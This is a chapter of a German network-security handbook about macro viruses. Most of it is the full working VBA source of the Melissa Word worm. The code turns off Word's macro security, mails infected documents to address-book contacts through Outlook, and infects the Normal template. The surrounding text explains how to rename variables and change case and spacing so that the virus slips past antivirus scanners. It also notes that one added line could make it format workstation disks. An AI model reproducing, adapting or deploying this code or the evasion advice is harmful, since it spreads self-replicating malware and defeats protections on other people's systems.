Weiter Zurück [Inhalt] Online Suche im Handbuch LITTLE-IDIOT NETWORKING

25. Makroviren Melissa & Co beleuchtet

Das Makrovirus Melissa ist ein gutes Beispiel für eine neue Generation von Angriffswerkzeugen, die über fast jede Firewall hinweg tunneln. Hier kurz ein vollständiges Listing des "scharfen" Melissa Virus. Man kann davon ausgehen, das dieses Virus so verbreitet ist, daß das Listing hier auch keinen weiteren Schaden anrichten kann. Wer sich ein wenig im Code umschaut, der wird feststellen, daß dieses Macrovirus zuerst die Sicherheitseinstellungen ausschaltet, um dann völlig ungehindert auf System- und Userdateien (auch unter Windows NT 4.0 SP5) und Server zugereifen kann. Dasselbe betrifft auch eine im Kapitel Backoffice aufgezeigte Möglichkeit eines Angriffs, SQL-Server und die darin enthaltenen Daten auszulesen. Dieses Virus ist noch relativ harmlos, es ist aber auch ohne Probleme denkbar, daß dieser sich zuerst im Netzwerk verbreitet, und dann die Festplatten sämtlicher Arbeitsstationen neu formatiert. Hierzu bedarf es nur des Hinzufügens einer einzigen Zeile. Fast alle Virenscanner erkennen Teile (!) dieses Melissa - Codes und beseitigen bzw. sperren dieses Virus. Bei entsprechender Modifikation der für Virenscanner erkennungsrelevanten Teile des Virus (Groß/Kleinscreibung, Variablennamen, Leerzeichen) hat sich erwiesen, daß es immer noch möglich ist, dieses Virus in Netzwerke einzuschleusen. Gezielte Angriffe auf Datenbestände im Netzwerk hinter der Firewall sind somit zu jeder Zeit möglich. Von Interesse ist auch die Möglichkeit, über die Winsock 2.1 mit Hilfe diese Visual Basic Code auf die Netzwerkkarte der Arbeitsstation direkt zuzugreifen, um z.B. DoS Angriffe auszuführen, oder Paßworte aus dem Netzwerk zu ersniffen.

Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security",
"Level") <> "" Then
  CommandBars("Macro").Controls("Security...").Enabled = False
  System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security",
"Level") = 1&
Else
  CommandBars("Tools").Controls("Macro").Enabled = False
  Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 -
1): Options.SaveNormalPrompt = (1 - 1)
End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by
Kwyjibo" Then
  If UngaDasOutlook = "Outlook" Then
    DasMapiName.Logon "profile", "password"
    For y = 1 To DasMapiName.AddressLists.Count
        Set AddyBook = DasMapiName.AddressLists(y)
        x = 1
        Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
        For oo = 1 To AddyBook.AddressEntries.Count
            Peep = AddyBook.AddressEntries(x)
            BreakUmOffASlice.Recipients.Add Peep
            x = x + 1
            If x > 2 Then oo = AddyBook.AddressEntries.Count
         Next oo
         BreakUmOffASlice.Subject = "Important Message From " &
Application.UserName
         BreakUmOffASlice.Body = "Here is that document you asked for
... don't show anyone else ;-)"
         BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
         BreakUmOffASlice.Send
         Peep = ""
    Next y
    DasMapiName.Logoff
  End If
  System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by
Kwyjibo"
End If


Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
  If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
  Set ToInfect = ADI1
  ADI1.Name = "Melissa"
  DoAD = True
End If

If NTI1.Name <> "Melissa" Then
  If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
  Set ToInfect = NTI1
  NTI1.Name = "Melissa"
  DoNT = True
End If

If DoNT <> True And DoAD <> True Then GoTo CYA

If DoNT = True Then
  Do While ADI1.CodeModule.Lines(1, 1) = ""
    ADI1.CodeModule.DeleteLines 1
  Loop
  ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
  Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
    ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
    BGN = BGN + 1
  Loop
End If

If DoAD = True Then
  Do While NTI1.CodeModule.Lines(1, 1) = ""
    NTI1.CodeModule.DeleteLines 1
  Loop
  ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
  Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
    ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
    BGN = BGN + 1
  Loop
End If

CYA:

If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name,
"Document")
= False) Then
  ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
  ActiveDocument.Saved = True
End If

'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!

If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points,
plus triple-word-score, plus fifty points for using all my letters.
Game's over.  I'm outta here."
End Sub

Wer sich den Quellcode einmal genauer anschaut, der wird feststellen, daß die Programmierung doch recht einfach ist. Die BASIC Zeilen kann sich nun jeder nach einen eigenen Vorstellungen geringfügig verändern, um quasi ein neues trojanisches Pferd zu kreieren, welches von aktuellen Virenscannern nicht mehr erkannt wird. Wer nun noch mit Suchen/Ersetzen einige Variablennamen und Funktionen umbenennt, der hat damit Erkennungsalgorithmen vieler Virenscanner außer Gefecht gesetzt, obwohl der Makrovirus immer noch derselbe ist. Wer diese Gefahren umgehen zuverlässig vermeiden möchte, der mag sich mit dem Kapitel Unkonventionelle Firewalllösungen näher auseinandersetzen.


Weiter Zurück [Inhalt] Online Suche im Handbuch LITTLE-IDIOT NETWORKING